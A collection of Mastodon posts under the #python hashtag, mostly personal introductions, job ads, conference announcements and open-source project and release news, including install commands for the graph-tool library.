「 Python could very well continue relying on the support of the Big Tech industry for a very long time but, even if we were to set aside the otherwise extremely real problems of power dynamics between organizations, the long-term sustainability of an exponentially growing dataset still remains and Python is now mature enough to start inspecting and fixing the foundations its ecosystem is built upon 」
@brohrer@recsys.social · Reply to Brandon Rohrer's post
@fuzzychef@m6n.io · Reply to Berkubernetus's post
Web #Developer: create website, services, and templates for open source projects: https://redhat.wd5.myworkdayjobs.com/en-US/jobs/job/Web-Developer--OSPO-_R-041438-1
#DataScience Engineer: build out systems for analyzing OSS community metrics in new ways: https://redhat.wd5.myworkdayjobs.com/en-US/jobs/job/Software-Engineer--OSPO----Data-Science---Python---React_R-041437-1
Please forward/retoot! (2/2)
@astrojuanlu@social.coop
uv breaking the ceiling and no signs of slowing down 😱 #python #packaging #uv
@adiharangozo@fosstodon.org
Heyho #fosstodon, I’ve just transferred here, so this is my short #introduction.
I’m Ádám, a #Python software engineer. My background is in mathematics and algorithmic modelling. I’ve worked with radars, satellites and now I’m in the nanotech field.
I like travelling, and moved around quite a bit, currently living in Austria.
I’m interested in anything #tech related, #coding, #linux, #foss.
I love #gaming, I’m a big fan of jrpgs. I love to geek out on anime, fantasy & sci-fi stuff.
@ruthpozuelo@mastodon.social
Welcome to https://curbal.social
The following accounts are available for you:
For #PowerBI: @powerbi@curbal.social
For #python: @python@curbal.social
For #Energy: @energy
For #synology: @synology
For #Democracy: @democracy NEW!
Here is where others have joined so far:
@open_neuroscience@fosstodon.org
Hello Mastodon!
After a long delay, here is a bit of info on this project...
https://open-neuroscience.com is a community driven website for #opensource & #openscience projects related to #neurosciences.
The idea is to make it easy for people to find interesting projects that they could use and/or contribute to.
It is super easy to add your project to the website! simply fill out a form (https://forms.office.com/e/5QtUtMc3hw), and a bit of #python code will transform it to a #hugo webapge! [1/n]
@shanselman@hachyderm.io
Looking for FEEDBACK. Embedding real #Python within #dotnet to make data science (and life) easier! Https://tonybaloney.github.io/CSnakes
@tiago@social.skewed.de
Good news everyone! A new version of :gt: graph-tool is just out! @graph_tool
:gt: @graph_tool is a comprehensive and efficient :python: Python library to work with networks, including structural, dynamical and statistical algorithms, as well as visualization.
It uses :cpp: C++ under the hood for the heavy lifting, making it quite fast.
This version includes new features, bug fixes, and improved documentation: https://graph-tool.skewed.de/static/doc/index.html
One of the new features is scalable and principled network reconstruction: https://graph-tool.skewed.de/static/doc/demos/reconstruction_indirect/reconstruction.html
Single line installation:
Anaconda ⤵️
conda create --name gt -c conda-forge graph-tool
Homebrew ⤵️
brew install graph-tool
Debian/Ubuntu ⤵️
apt-get install python3-graph-tool
Gentoo ⤵️
emerge graph-tool
Docker ⤵️
docker pull tiagopeixoto/graph-tool
You can also play it with in colab: https://colab.research.google.com/github/count0/colab-gt/blob/master/colab-gt.ipynb
@networkscience
@datascience
@python
#networks #python #datascience
@_chrismay@fosstodon.org
Hey everyone!
I recently joined and am excited to contribute to the community.
After graduating with an art degree, I learned to program as an adult. It opened doors for me, but I learned many things the hard way. Now I'm helping people learn #python to give them the superpowers they can use every day to live the lives they want.
I post resources at https://everydaysuperpowers.dev/
@kedro@social.lfx.dev
Hello Fediverse! ✨
This is the Mastodon account for Kedro, an open source, opinionated Python framework for creating reproducible, maintainable and modular machine-learning code.
Follow this account for tips on how to make 🔶 Production ready data science with ease 🔶
Give us a star on GitHub! https://github.com/kedro-org/kedro/
#python #kedro #kedroviz #datascience #machinelearning #introduction
@kedro@social.lfx.dev
Big announcement: our 3 hour video introduction to Kedro is live! 🔥 https://youtube.com/playlist?list=PL-JJgymPjK5LddZXbIzp9LWurkLGgB-nY&si=EED0GXyBPxP5osUT
The course covers an introduction to what Kedro is, a walkthrough of the Spaceflights tutorial using both Jupyter Notebook and VSCode, new stuff in Kedro 0.18 like dataset factories and the OmegaConfigLoader, how to use S3 and MinIO for your filepaths, and how to deploy Kedro to a Docker image or Airflow.
We hope you enjoy it! 🔶
#python #pydata #datascience #datapipelines #kedro #kedroviz
@kedro@social.lfx.dev
New blog post: Exploring our new release: Kedro 0.19 🔶
We recently unleashed a new major release of Kedro containing a host of new features, bug fixes, and documentation improvements.
Check out our blog post about Kedro 0.19 to find out more about recent enhancements and improvements to Kedro. We’ll walk you through changes to configuration management, dataset loading and more.
Read on: https://kedro.org/blog/explore-kedro-0-19
#opensource #kedro #datascience #dataengineering #mlops #pydata #python
@basnijholt@fosstodon.org
Introducing pipefunc: Simplify Python Function Pipelines 🐍🚀
Excited to share my new open-source project! pipefunc is a lightweight Python library for easy function composition and pipeline creation.
Key features:
• Automatic execution order
• Pipeline visualization
• Resource profiling
• Map-reduce support
• Type validation
• Auto-parallelization (local/SLURM)
Perfect for scientific HPC/ML workflows!
Docs: https://pipefunc.readthedocs.io
Source: https://github.com/pipefunc/pipefunc
@astrojuanlu@social.coop
@vwbusguy@mastodon.online
Here is my draft for future plans for the (unofficial) #Nextcloud Remote Client CLI. This is also some low hanging fruit for anyone that might want to contribute a bit of #python for a feature you might want to see land sooner than later.
https://github.com/vwbusguy/nextcloud-remote-client/blob/main/docs/DESIGN.md#future-plans
@guerda@ruhr.social
Nun noch Mal eine #introduction. Ich bin Philip, mag #opensource und #opendata, programmiere nur noch in der Freizeit etwas #Python, interessiert an #machinelearning, Kochen und Selbermachen. Lebe im Raum Düsseldorf und trage gerne zu #OpenStreetMap und anderen Projekten bei. #neuHier
Meine Pronomen sind er/ihm.
@pydatamadrid@masto.ai · Reply to PyData Madrid's post
Arranca Jesús Montes presentando Cabify
@tom@tomkahe.com
Trying to disprove Fermat's theorem. can you guys run this on your end so we can get through the numbers faster? thank you in advance
@jrdepriest@infosec.exchange
Since there has been a huge influx of new users, I decided to write a new #Introduction and actually pin it to my profile.
I'm pushing 50 years old and I live in a Red State that is trying to make me illegal. I'm a #pansexual / #bisexual #transgender woman married to a heterosexual cisgender woman who frequently talks about the current hellscape for people like me in my Toots.
I'm #NeuroDivergent / #ND which is probably why all of these sentences start with "I".
I've worked in #InfoSec for a little over 20 years. I've had lots of roles in #SecEng, #SecOps, and #ThreatManagement. I taught myself #Perl, #Bash, #SQL, and #PowerShell. I'm decent at #JavaScript. I can read #Python and #Ruby. I enjoy automating things and turning manual processes into scripts.
I've been the primary #CareGiver to my wife for 8 years since she developed a chronic condition and went on disability.
My hobbies including #writing #paranormal short fiction, journaling my #dreams, and playing #PCGames on my laptop and #SteamDeck.
I prefer #StarGate over #StarTrek over #StarWars. Still waiting for Amazon to do something, anything with the Stargate property.
While we loved the #ArrowVerse including #Stargirl and #SwampThing, in general we prefer #Marvel over #DC.
I'm a fan of #Horror / #HorrorFam, #HorrorMovies and #HorrorBooks, especially the existential dread of #CosmicHorror or #LovecraftianHorror. I tend to sympathize with the nameless terrors. I am not a fan of mindless slashers, unrelenting gore, or torture porn. Over-the-top, egregious gore that crosses into the absurd is fine, though, so I am a Sam Raimi fan, obvs. Also, #HorrorComedies are underappreciated.
I'm slowly reconnecting with my #Pagan roots. I knew some stuff about #Tarot and had a friend who as a tree a lifetime ago and I'm trying to rekindle that.
We've got #Cats and they are our kids. I also happen to love #Frogs, but we don't have any of those.
#BLM #BlackLivesMatter
#TransgenderRightsAreHumanRights
#LGBT #LGBTQ #LGBTQIA
#ThePandemicIsNotOver
#ClimateChangeIsReal
#SexWorkIsWork
@andy47@aus.social
@15r10nk@fosstodon.org
I am 4 sponsors away from reaching my 10 sponsor goal where I will make this useful little #Python tool available to all.
https://github.com/15r10nk/canonical-imports
@oliverandrich@social.tchncs.de
Wrote a few lines about my journey with uv yesterday and how I managed to setup my environment by just using uv. No homebrew. No pipx. No pyenv. I love it, that I can get up and running by just using a single tool.
@zaniad@mastodon.social
I never did a Mastodon #Introduction so here we go.
My name is Austin and I love my family, Sports, Music, and Tech.
I am a software developer at #PayTheory. At my job currently I work primarily with #Javascript, #React, and #Python. I know some #Swift and hope to publish an app in the AppStore in 2023. I am going to try to #BuildInPublic here.
I am a fan of the #Bengals, #Bearcats, #Celtics, #Vols, #Reds, #FCCincinnati, and #Newcastle.
@cerberus1746@mastodon.gamedev.place
I just realized I could execute my game engine inside Blender because it is nothing but a python module...
...I don't know what to do with this amount of power.
@chemacortes@mathstodon.xyz
@sergio_101@social.sixdegreesofohio.com
@autumn64@mast.lat
Acerca de mí: #introduction #presentation
¡Hola! Soy Mónica Gómez, también conocida como Autumn64. Soy una estudiante mexicana de Ingeniería en Sistemas Computacionales, soy una mujer transgénero y soy activista por el movimiento del #Software_Libre.
También soy #programadora y #desarrolladora de #software. Programo activamente en #C, #Python, #JavaScript y #MATLAB, aunque conozco algunos otros lenguajes más (por ejemplo BASIC, #Rust, C# y Java). Puedes ver todos mis proyectos en #Codeberg: https://codeberg.org/Autumn64
En redes me dedico a la promoción y difusión del Software Libre, así como de sus ventajas técnicas y éticas desde el punto de vista latinoamericano e hispanohablante.
También soy #música independiente, hago #DnB: https://www.autumn64.xyz/src/es/music.html
Esta es mi cuenta principal, y además tengo otras cuentas en el #Fediverso. Si quieres verificar que realmente soy quien digo ser, por favor revisa mi clave pública: https://www.autumn64.xyz/src/es/key.html
Más acerca de mí: https://codeberg.org/Autumn64/AboutMe/src/branch/main/README.md
¡Cómprame un café! (de forma totalmente voluntaria ;)): https://liberapay.com/autumn64/
@grahamdumpleton@mastodon.social
After hiding under a rock since COVID hit I am finally coming out for fresh air. I am in search of a new job in the #kubernetes and/or #python spaces. Also aiming to reconnect with all the people in the Python community I have lost contact with. Expect some long overdue updates to my mod_wsgi and wrapt projects for Python, along with details of another project called Educates that I have been working on for the past 4+ years, and which was finally able to release as open source.
@chabicht@troot.social
Hi, I'm Carsten.
Previously @chabicht@fosstodon.org.
Coder. Spending most of my day messing with #java and a bit less with #python.
I'm also into #3Dprinting #SmartHome, #HomeAssistant.
Offline, there is always a dog to walk, something at the house that needs repair, or some firewood to chop. 🪓
@matrig@mastodon.social
This from Ye et al. (UC Berkeley) looks pretty cool:
gsplat: An Open-Source Library for Gaussian Splatting with Python bindings
@joachim@boitam.eu
Nouvelle #introduction / #introductionfr pour le Fediverse.
Je fais du #design et du #webdev (#markup #css) à #Paris. Je m'essaye au développement (#python, je collabore à @bookwyrm), je fais du #vélo surtout en #vélotaf, j'aime la #photo #argentique (#filmphotography) même si je ne pratique plus autant qu'avant.
Je parle souvent de #climat, parfois de #politique (#frpol). Ma chatte Pourriel est la plus belle du monde.
(#velo et #velotaf pour que le motdièze marche sans l'accent)
@pydatamadrid@masto.ai
¡Vuelve PyData Madrid! ✨
Tendremos charlas de Fiorella Piriz sobre orquestación de datos con Apache Airflow y de Jose Mussach sobre cómo hace para ponerse al día con cualquier tecnología en segundos con Python.
Inscripciones en Meetup https://www.meetup.com/pydata-madrid/events/301014940/
@ThePSF@fosstodon.org
The first edition of the PSF Board Office Hours is about to begin 🐍 🗒️ 1 PM UTC. Join us to share how we can help your community, express your perspectives, and provide feedback for the PSF! #python
https://pyfound.blogspot.com/2024/08/ask-questions-or-tell-us-what-you-think.html
@python_es@masto.es
¡Ya está disponible el programa de la #pycones2024! 🔥
https://pretalx.com/pycones-2024/schedule/
¡Nos vemos en un mes!
@python_es@masto.es
```
>>> print("¡Hola Fediverso! 👋")
```
Somos Python España, una asociación sin ánimo de lucro cuyo propósito es promover el uso del lenguaje de programación Python en nuestro país y servir como punto de encuentro a aquellas personas interesadas en su uso.
La asociación fue creada en 2013 y desde entonces ha prestado apoyo contable y organizativo a la PyConES, la conferencia nacional sobre el lenguaje Python, así como ayuda financiera a las comunidades locales.
Nos vemos en la #PyConES2024 en Vigo, Galicia 🍤
Y mientras tanto, ¡encuentra la comunidad Python más cercana a ti en nuestro mapa! https://es.python.org/comunidades/
@hugovk@mastodon.social
@ofek Hello and welcome to Mastodon!
#Python people: give @ofek a follow, he's the author of the #Hatch project manager and the #Hatchling build backend, plus cool tools like https://github.com/ofek/pypinfo, and wrote #PEP723 "Inline script metadata"!
@hugovk@mastodon.social
🐍2️⃣🚀 The **final** release candidate of Python 3.13 is out!
➡️ Library maintainers, please upload wheels to PyPI **now**, especially if you have compiled extensions (there are no more ABI changes), so everything is in place for the big 3.13.0 release in 3 weeks!
🔒 Also! Security releases have been made for the full set of Python 3.8 - 3.12. Please upgrade!
🧪 https://dev.to/hugovk/help-test-python-313-14j1
#Python #Python313 #RC #RC2 #Python312 #Python311 #Python310 #Python39 #Python38
@python_discussions@mastodon.social
Adding Python to Docker in 2 seconds using uv's Python command
https://mkennedy.codes/posts/python-docker-images-using-uv-s-new-python-features/
Discussions: https://discu.eu/q/https://mkennedy.codes/posts/python-docker-images-using-uv-s-new-python-features/
@astrojuanlu@social.coop
New instance, time for an #introduction !
Hello 👋🏼 I'm Juan Luis (he/him/él), everybody calls me Juanlu. I've been on Mastodon since 2021 https://fosstodon.org/@astrojuanlu/105796501048404807
I work as Product Manager for an #OpenSource project and have 10+ years of o̶b̶s̶e̶s̶s̶i̶o̶n̶ experience with the #Python ecosystem. I'm interested in #Degrowth, #Cooperatives, the #SolidarityEconomy, and anything that can offer an alternative to capitalism. You'll see occasional posts about #techno, #birds, and rants in Spanish.
@jelloeater@mastodon.social
@victorvicpal@dair-community.social
A 2nd #introduction is needed:
I'm Victor, Clinical Data Scientist researching in #AI applied to medicine.
Although AI is something that interests me from many aspects (technical, mathematical and critical) I do not limit myself to write only about this as I have many other interests (#opensource, #python, #SocialJustice, #diversity, #books, #comics, #basketball, etc.).
Also, I speak SP, EN, DE & FR
Looking forward to interact with the Dair-community.
@pybay@fosstodon.org
Want to improve your Python code quality? Maggie Moss will show you how types can make a big difference! Join Maggie at PyBay 2024.
Tickets and full speaker lineup at https://pybay.org
@pybay@fosstodon.org
At long last, the PyBay 2024 speaker lineup you’ve been waiting for has arrived! Check out the lineup at https://pybay.org/speaking/ and purchase your tickets! 🐍
#Python #PyBay2024
@riasanalex@mathstodon.xyz
My #introduction on my new shiny mathstodon.xyz account! I'm slowly deprecating my @alexmath account but I'm kinda bad at fediverse stuff 😅
Hi all! I am Alex (she/her), a #trans mathematician with a PhD in extremal combinatorics now working in as a data scientist. I am a deeply curious experimentalist and I love to learn different topics. My favorite programming languages are #rust and #python but I've had some fun with #cuda GPGPU, too :) I like machine learning as a scientific problem-solving tool, but not the stuff that involves weapons, theft, and violence.
Presently, I live in #Philly with my fluffy orange cat Angus and my partner. I got a new bike and wish I could lose the car forever. Still masking in public. Still getting vaccines. Eternally exhausted, but hopeful and curious.
Fediverse etiquette suggestions welcome!
@ketmorco@fosstodon.org
Hi there! I'm ketmorco, a refugee from mastodon.technology! I'm a firm believer that all life is valuable, and humans all deserve to be happy, healthy, and safe! I used to love technology in its entirety, but I have seen how it gets misused. Most of what we need to be productive and happy already exists!
Follow me if you like:
#equality
#technology
#python
#commandline
#opensource
#bicycle/#motorcycle
#typewriters
#writing
#drawing
#art
#photography
#comedy
#cooking
#food
#gopher
#fediverse
@libreoffice@fosstodon.org
Run interactive #Python code directly in your LibreOffice spreadsheets with this new extension! https://extensions.libreoffice.org/en/extensions/show/99231 #libreoffice #foss #OpenSource
@LisaHornung@fosstodon.org
Hi Fediverse, after creating an account a few weeks ago it's finally time for an #introduction.
I'm passionate about all things data, #dataviz, #maps, #opensource. I work mostly with #python but I'm always keen to learn new tools.
When not working, I like to cycle, practice yoga, try new sourdough recipes or get hooked on logic puzzles (currently it's https://figure.game/).
Looking for a community to learn, share and get inspired 📚 😍 Still active on the bird platform, but you know ...
@villares@pynews.com.br
my main account for interactions is @villares@ciberlandia.pt you may tag it in your replies and I'll see them more readily (here I'll mostly just post my #py5 sketches and some #Python news)
@16af93@wetdry.world
🔁 flora looking for a job 🔁
flora is looking for a better job. she brings:
preferably 100% remote (she is currently based in Germany) and in part-time.
flora isn't really picky regarding a specific job position as long as it has to do with computers and allows her to use her skills and knowledge.
feel free to write flora over fedi, matrix, xmpp, or email:
email: flora [ät] genosse [punkt] eu
matrix: @ flora:catgirl.cloud
xmpp: flora [ät] hot-chilli [punkt] eu
@zuggamasta@merveilles.town
More #midiTracker jamming, I still need to add my deep copies but here’s another one!
https://youtu.be/CczT-Uqg7_E
Controlling Rample, FXAid and noise reap Paradox.
#python #modularSynth
@amoroso@fosstodon.org
A journalist and writer tells why he learned programming in his 50s, how he did it, and his moving encounter with the Python community.
@Firesphere@cloudisland.nz
Hmmm, #NZTwits , things that interest me hashtags...
#RaspberryPi
#Software
#Stickers (https://stickertrade.me 😬 )
#Photography
#Arduino
#Tinkering
#Beer
#Reading
#Cats
#Linux
#Python
#Coffee
#Plants
#Botanics
#Physics
#Whisky
#Whiskey (alternate spelling for countries with an E in their name :D )
About me:
Tinkerer, idiot, see my bio, BSc in Applied Physics.
I can probably think of more right after I hit that toot button.
@mathieui@piaille.fr
Une #introduction brève : Je suis développeur #python à temps plein, je fais du logiciel libre sur mon temps perso (quand je trouve la force) autour de #XMPP / #jabber depuis plus de 10 ans, je suis secrétaire de l’association #JabberFR dont je co-administre le serveur. J’aime le chant mais j’en fais plus à cause du covid, et je fais de la #photo en amateur.
Ci-joint une photo de héron.
@rye@ioc.exchange
Tidbits About Me:
I thrive on humor, sarcasm, and embracing awkward moments. Having space to
make mistakes and explore failures with kindness is vital to me. A firm
"No" from me is an act of self-care, so don't hesitate to seek
clarification if needed.
Committed to Imperfect Nonlinear Growth:
Embracing imperfection and nonlinear growth is central to my journey as a
human being. I opt out of approaches that demand perfection or punishment.
Building Relationships:
I prioritize nurturing communicative relationships over time, fostering
mutual understanding and support. Real-life, face-to-face interaction
allows for a deeper connection and insight into each other's worlds.
Approach and Caution:
I urge caution in online interactions and forming parasocial
relationships, as safety and ethics transcend titles or affiliations.
Vigorously vetting individuals and content is crucial, although it doesn't
guarantee complete safety.
Personal Health:
I prioritize wearing N95+ masks in public or crowded spaces.
Advocacy Stance:
I stand in solidarity with movements advocating for justice and equality,
including Black Lives Matter, Indigenous Lives Matter, Trans Lives Matter,
and Black Trans Lives Matter.
I'm Rye!
I'm a genderqueer (Any Pronouns)
Artisan, Solarpunk, Digital Sorcerer.
Background in forensics, and RF systems.
Presently:
Ranching
Photography
Programming in Python
@jedie@chaos.social
Python Software Foundation News:
White House recommends use of memory-safe languages like #Python
https://pyfound.blogspot.com/2024/02/white-house-recommends-.html
@hamatti@mastodon.world
Python is a great programming language with even greater community.
One part of this wonderful community are the many podcasts of which I've picked four favorites to write about.
https://hamatti.org/posts/couple-of-great-python-podcasts/
#Python #BatteriesIncluded #Blaugust #Blaugust2024 #podcasts
@python_discussions@mastodon.social
500 Python Interpreters
https://izzys.casa/2024/08/463-python-interpreters/
Discussions: https://discu.eu/q/https://izzys.casa/2024/08/463-python-interpreters/
@juliasilge@fosstodon.org
We at @Posit are hiring an engineer with experience in #Python developer or data science tooling to work on #Positron :python:
Take a look and let me know if you have any questions! #GetFediHired
@computingnature@neuromatch.social
Make your next discovery using #Rastermap, a visualization method for large-scale neural data in #python. Paper now out: https://www.biorxiv.org/content/10.1101/2023.07.25.550571v1 (CLICK ON THE GIF) #neuroscience
@brianokken@fosstodon.org
“Hello, pytest!” course is now live
https://courses.pythontest.com/hello-pytest
It’s about 90 min and covers
- Core pytest features: Test Functions, Parametrization, Fixtures, Markers
- Design for Testability: Modular Code, Isolating Complexity, Using APIs
- Basic script param parsing with agrparse
#Python #pytest
@pythonbytes@fosstodon.org
Latest episode asks the important question: Do you dare to enter the Bash dungeon? With @mkennedy & @brianokken #python
https://pythonbytes.fm/episodes/show/393/dare-enter-the-bash-dungeon
@brianokken@fosstodon.org
Top pytest Plugins | PythonTest https://pythontest.com/top-pytest-plugins/
#Python #pytest
@RagnarHeidar@mastodon.social
Oh no I forgot the #introduction Here we go!
I currently work at the Icelandic Met Office as a #GIS Coordinator in #Reykjavik. In general, I help people make maps, find #geodata either with code (#python or #javascript) or with desktop software like #QGIS
I love the outdoors and enjoy hiking, climbing and biking. I've been involved with Icelandic Search & Rescue for many years, both on the frontline (mountain rescue) and as an instructor for new team members.
Father of twins since 2016
@nicoco@pouet.pas.la
@GWeindel@fediscience.org
Masto exclusive 🥳
Last month together with @jelmerborst and Leendert van Maanen we created a #python package to estimate the __by-trial__ onset of different processing stages in reaction times by relying on hidden semi-Markov models applied to
electro-encephalographic #eeg data:
hsmm_mvpy see https://github.com/GWeindel/hsmm_mvpy
We made some significant improvements on both the method and especially the
documentation and everything should be much clearer I hope
@anselmschueler@ieji.de
@hamatti@mastodon.world
Python's sqlite bindings make sqlite a great prototyping companion.
@SeaFury@aus.social
Collating data from my experiments. Reading from separate files to collate into one huge dataframe in python. How do I open files in a directory one after the other? In the past, I've assigned a different var for each file name and then looped through them. Is there another way to do this? #python #pandas
@hamatti@mastodon.world
I don't only like using command line tools, I love writing my own too. Python's argparse is a nice built-in way to parse arguments, options and subcommands for custom CLI tools.
https://hamatti.org/posts/parse-command-line-arguments-with-argparse/
@shimst3r@chaos.social
Hey community! :BoostOK:
Are you a #freelancer working in software development (maybe #Python or #Go) in Germany and want to answer a few questions (via Mastodon)?
Asking for a friend* who is curious about doing freelance work.
*me
@david@larlet.fr
J'ai bien envie de travailler avec des équipes localisées au #québec en ce moment.
Si les quelques personnes vivant à #montréal qui me suivent ont des idées, je suis super ouvert.
Je sais faire des trucs autour de #python et du #web. J'aime accompagner des personnes dans l'acquisition de savoirs et d'autonomie autour de la technique. J'apprécie de concevoir des produits qui respectent et prennent en compte leurs utilisateur·ices.
Je ne cherche pas forcément du (très) lucratif.
Repouets 🆗
@hongminhee@fosstodon.org · Reply to 洪 民憙 (Hong Minhee)'s post
@terri@social.afront.org
#introduction post since I never did one:
Hi, I'm Terri!
I mostly post about #knitting with other maker stuff thrown in. Lately that's #sewing and #embroidery and #KidArt but I dabble in #electronics and #robots too.
I'm an #OpenSource developer and maintainer, mostly working with #Python or #infosec related stuff. (My PhD is in Web Security.) I coordinate #GSoC for Python every summer & mentor some folk directly.
I also do #nature and #dog #photography and talk about #parenting sometimes.
@terri@social.afront.org
CVE Binary Tool 3.3 is released! (At long last!)
This is my work open source project that lets you scan for known vulnerabilities in your binaries, package lists and SBOMs. It's meant to make it easier (and cheaper!) to make secure open source software.
3.3 has new features from our Google Summer of Code 2023 contributors including EPSS metrics to help users assess risks associated with vulnerabilities, a new GitHub Action to make scanning easier, and a mirror of the NVD data backed by the same servers that do Linux distro mirroring so you don't have to deal with rate limits, downtime, and servers only located in the US.
Release notes: https://github.com/intel/cve-bin-tool/releases/tag/v3.3
And get the code on pypi:
https://pypi.org/project/cve-bin-tool/3.3/
Boosts appreciated!
@daschoe@peoplemaking.games
#introduction
Hello world!
I'm daschoe and I've been hopping on and off making games for a decade. With some friends, I'm now finally making games worthy of showing to others (read that as actually finishing them). I'm mostly native in #python and currently working with #renpy but try to start also looking into #unrealengine !
During working hours I'm pursuing a PhD in Acoustics researching noise perception. I also volunteer in a local arcade museum repairing and maintaining the machines.
Besides programming or playing games, I'm interested in fibrecrafts, #cosplay , pen and paper, reading fantasy novels, #hiking , and making stuff.
@hongminhee@fosstodon.org
I've rewritten #Fedify several times and in several languages. The first time it was written in #TypeScript, then #Python, then C#, then back to TypeScript. (It was codenamed FediKit at the time of development.) I settled on TypeScript for the following reasons:
• It has a decent JSON-LD implementation.
• Lots of people use it. (I wanted Fedify to be widely used.)
• It's type-safe enough.
Even if I were to build Fedify again, I would choose TypeScript.
@genebean@fosstodon.org
Updated #introduction time! I'm a geek dev'ing on the ops at LTN Global and used to do the same at @puppet. I'm a #Christian & an #EagleScout. I support the 2nd Amendment here in the US and #BlackLivesMatter.
I have been using #Linux since I leaned #Gentoo in 2004. I've done end user desktop support, #Windows & Active Directory administration, Linux administration, networking, firewalling, a touch of programming, and a boat load of scripting in bash, #PowerShell, and #Python.
@pyladiescon@fosstodon.org
📢 Calling All Pythonistas! 🚀
PyLadiesCon 2024 Call for Papers is open! 🌟
Be part of an online conference focused on diversity, learning, and empowerment in the #Python community.
📅 December 6th-8th
📝 Submit your talk:👇
http://pretalx.com/pyladiescon-2024/cfp
@pyladiescon@fosstodon.org
📢 We are thrilled to present one of the panels at #PyLadiesCon.🐍🎉
Don't miss this opportunity to learn from the best and connect with the #Python community.🐍
🗣️ Language: English
🕒Track: APAC
Register for PyLadiesCon now:👇
https://conference.pyladies.com
@pyladiescon@fosstodon.org
📢 We are thrilled to present one of the panels at #PyLadiesCon.🐍🎉
Don't miss this opportunity to learn from the best and connect with the Python community.🐍
🗣️ Language: Spanish
🕒 Track: EMEA
Register for PyLadiesCon now:👇
https://conference.pyladies.com/
@paulox@fosstodon.org
I am honored that Python Software Foundation announced yesterday that I have been named a PSF fellow member, along with Adam Johnson 🐍
I wrote about it on my blog 👇
https://www.paulox.net/2024/08/14/python-software-foundation-fellow-member/
@spatula@tech.lgbt
Trying out this wacky #mastodon thing out. It seems like IRC for Twitter?
By way of #introduction, I'm a #malcontent #gay #GenX #nerd who has worked in #tech since the early 1990's. I also dabble in #synthpop / #electronica #music under the project name World Control. I'm very fluent in #python and #Java.
I'm a massive fan of #DoctorWho and #InformationSociety.
I also dabble in #HamRadio and simple #electronics. I also love #running, #cycling, & #swimming.
#Spatula is my favorite word.
@astrojuanlu@social.juanlu.space
I blogged a thing: Python Packaging is Great Now: `uv` is all you need
https://dev.to/astrojuanlu/python-packaging-is-great-now-uv-is-all-you-need-4i2d
tl;dr: Just use `uv` for everything, it's fine already.
@tehstu@hachyderm.io
A new #introduction after moving! Feel like I've made my home at #hachyderm, after watching Local for a while.
I'm from Wales but have lived in the Midwest for over a decade now. My background is #astrophysics and I currently work for an #education non-profit. Mostly #requirements elicitation, defect triage and #UAT. I also help "automate the boring stuff", typically in #python or #R.
You'll likely find me posting about #privacy, #space or #RaspberryPi (this post is being written on one!)
@astrojuanlu@social.juanlu.space
Replacing `pipx` with `uv tool` today and not looking back #python
@Edent@mastodon.social
Boring technical question which neither the documentation nor ChatGPT can answer.
I want to automate screenshots using #Python's #Selenium Webdriver with #Chrome.
This works - but the non-logged in experience of Twitter forces dark-mode.
I want a light-mode screenshot.
I can't find a way to set SEC-CH-PREFERS-COLOR-SCHEME in Selenium. Nor can I find a light-mode toggle for non-logged in Twitter users.
Any clues gang?
(I want to automate replacing my Twitter embeds with a screenshot.)
@hashbang@mastodon.scop.coop
Bonjour le Fediverse !
Une petite #introduction : @hashbang est une #coopérative de services numériques basée à Lyon, spécialisée sur #Python (et en particulier #Django) et qui met ses compétences au service des structures de l'Économie Sociale et Solidaire, du développement durable et du logiciel libre.
@hashbang est impliquée dans l'@LesScopAura, la cress-aura.org, lagonette.org, et le label "Engagé à Lyon".
La coopérative est composée de 8 salarié·e·s dont 5 sociétaires (sur 7).
@sivy@hachyderm.io
Hey folks, just got laid off after 4 years with my employer.
I’m a 25y veteran python developer (web, backend, and data processing) with many years of experience working remotely for companies in the US and Europe.
I have the most experience working with web, backend and data systems, and am also drawn to opportunities to improve internal tooling and web services that give coworkers the information and capabilities to do their thing better.
@raiderrobert@mastodon.social · Reply to Robert Roskam's post
Since people often learn best by doing, here’s a list of other property-based testing frameworks in several languages. Take them each out for spin!
- #Python's hypothesis: https://hypothesis.readthedocs.io/
- #JS / #TS's fast-check: https://github.com/dubzzz/fast-check
- #Ruby's pbt: https://github.com/ohbarye/pbt
- #Rust's proptest: https://proptest-rs.github.io/proptest/intro.html
- #Go's Rapid: https://github.com/flyingmutant/rapid
@keira_reckons@aus.social
Time for an #introduction
Hi I'm Keira 👋
My pronouns are she/her.
I'm a #django #python #webdev, an #infosec hobbyist, and #privacy enthusiast. One of those self taught tech people with an arts degree.
Previously worked in public sector management and policy, #unions, political #organizing (must all hash tags be in American english?), and personal training.
For fun I read #scifi, #speculativefiction and cosy #mysterybooks, I paint #acrylic and #watercolor, and I bake #vegan treats.
I'll definitely post about feelings, #SelfCompassion , and maybe #cnbc life.
Big on exercise - I swim, dance, lift weights and am learning to run. But there'll be no triggering diet or weight nonsense from me #nodiettalk.
That's so long! Such a departure from Twitter.
@RoedigerRG@social.anoxinon.de
#Newhere. We are a research group at #BTU Cottbus - Senftenberg in #Senftenberg (Germany) working in the field of bioinformatics (#rstats, #python), functional bioanalytics and personalized medicine. Forensic research is also a topic with us.
@ml@mitexleo.one
Hey everyone!
I'm a 20-year-old from Bangladesh, part of the Gen Z generation. I’m passionate about privacy, FOSS, and freedom of speech. As a practicing Muslim, I find balance and peace in my faith.
I love programming, mainly in Python and C for now, and I'm an avid reader. Recently, I fell in love with chemistry after reading "The Disappearing Spoon."
I stand firmly against any forms of racism and genocide. As an introvert, I grew up feeling a bit lonely because I didn't find many people like me.
Looking forward to connecting with like-minded folks here!
#intro #introduction #fediverse #programming #foss #GenZ #islam #python #clang #chemistry #introvert
@jameswynn@mastodon.social · Reply to James Wynn 🧐's post
I have to admit I've been a bit disappointed in the maturity of #ActivityPub libraries/frameworks for #Python though. I'm working on a fledgling AP project in Python and finding very little.
It seems that #BookWyrm and #PieFed have gone the route of writing their implementations from scratch. Its great reference material, but a common library we could all build from would be a huge boon for the community.
@jameswynn@mastodon.social
It seems that I have become, among other things, a #Python developer. I never expected or planned that. But I find myself writing more and more Python code and getting involved in more and more Python based projects. Is this just a testament to its popularity, or is it just really common in the niches I find myself in?
@beandev@social.tchncs.de
#Introduction #neuHier #altHier
Ich bin Aljoscha, #SoftwareArchitect, #Java-Dev, etwas #Python, etwas #Rust, bin in cloudbasierten Lösungen unterwegs (#AWS, #Azure), designe #Microservice Landschaften, Data Flow, Data Mesh, #Spring, usw. usf.
Hobbys: Reisen, Garten, Lesen, Rad, Wandern, Pi-Basteleien, habe 1 Hund.
@MrBerard@pilote.me
Mastodon's global search only works on hashed tags, not text, so:
#ComputerScience
#SoftwareEngineering
#Education
#UK Teacher
#Python
#Haskell
#InfoSec
